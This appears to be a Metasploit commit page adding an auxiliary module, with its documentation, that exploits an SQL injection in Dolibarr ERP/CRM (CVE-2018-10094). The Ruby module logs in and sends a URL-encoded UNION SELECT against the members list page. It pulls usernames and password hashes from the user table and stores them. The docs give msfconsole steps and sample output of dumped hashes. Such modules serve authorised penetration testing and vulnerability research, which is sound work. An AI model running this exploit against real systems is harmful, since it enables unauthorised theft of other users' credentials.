Land #10565, Add Dolibarr ERP/CRM Auxiliary Module

GSoC/Meterpreter_Web_Console
Wei Chen 2018-08-31 13:47:46 -05:00
commit 0dea5fcfd9
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
2 changed files with 164 additions and 0 deletions

View File

@ -0,0 +1,49 @@
## Description
This module enables an authenticated user to collect usernames and encrypted passwords of other users of the ERP/CRM Dolibarr software via SQL injection.
Checks in the Dolibarr software can be bypassed by url-encoding the SQL commands, provided that the commands do not contain quotes.
## Vulnerable Application
Dolibarr ERP/CRM Software versions < v7.0.2. Dolibarr v7.0.0 can be found [here](https://www.exploit-db.com/apps/04b0bb4b4864117b5bf47c0fcc737254-dolibarr-7.0.0.tar.gz).
By default, user accounts do not have access to view the list of other users of the software. The admin account must first be used to enable the members page, create general users, and give those users permission to access the members page.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/sqli/oracle/dolibarr_list_creds```
4. Do: ```set RHOSTS [IP]```
5. Do: ```set USERNAME [USER]```
6. Do: ```set PASSWORD [PASS]```
7. Do: ```set TARGETURI [URI]```
8. Do: ```run```
9. You should get a list of credentials
## Scenarios
### Tested on Dolibarr v7.0.0 running on Ubuntu 18.04
```
msf5 > use auxiliary/sqli/oracle/dolibarr_list_creds
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set username test
username => test
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set password blah
password => blah
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set targeturi /dolibarr
targeturi => /dolibarr
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set rhosts 192.168.37.228
rhosts => 192.168.37.228
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > run
[*] Logging in...
[+] Successfully logged into Dolibarr
[+] Accessed credentials
[+] user 8456167fd64d3cda366bda95088dda4d7ea94995
[+] test 9d49884ec5f2c8431572a73e3285ceed3f0bdc5b
[+] blahBlah e345d4aa5a6a63f828870b0d299dd921d119a5c7
[+] someUser fe79b08f9f6a1104a141ff65047087a36d926f12
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Dolibarr List Creds',
'Description' => %q{
This module enables an authenticated user to collect the usernames and encrypted passwords of other users in the Dolibarr ERP/CRM via SQL injection.
},
'Author' => [
'Issam Rabhi', # PoC
'Kevin Locati', # PoC
'Shelby Pace', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2018-10094' ],
[ 'EDB', '44805']
],
'DisclosureDate' => "May 30 2018"
))
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),
OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])
])
end
def check_availability
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(login_page)
)
return false unless res && res.body.include?('Dolibarr')
return res
end
def login(response)
return false unless response
login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
cookies = response.get_cookies
print_status("Logging in...")
login_res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'cookie' => cookies,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginfunction' => 'loginfunction'
}
)
unless login_res && login_res.body.include?('id="mainmenua_members"')
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
end
print_good("Successfully logged into Dolibarr")
return cookies
end
def get_info(cookies)
inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path
inject_uri <<= "/adherents/list.php?leftmenu=members&statut="
cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
inject_uri <<= cmd
inject_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(inject_uri),
'cookie' => cookies
)
unless inject_res && inject_res.body.include?('id="searchFormList"')
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
end
print_good("Accessed credentials")
format_results(inject_res.body)
end
def format_results(output)
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
fail_with(Failure::NotFound, "No credentials found") if credentials.empty?
credentials.each do |i, j|
print_good("#{j} #{i}")
store_valid_credential(user: j, private: i)
end
end
def run
available_res = check_availability
fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res
cookies = login(available_res)
fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies
get_info(cookies)
end
end